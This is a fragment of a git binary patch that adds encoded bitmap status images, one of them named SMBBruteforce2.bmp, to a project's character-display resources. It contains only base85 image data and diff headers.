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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 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 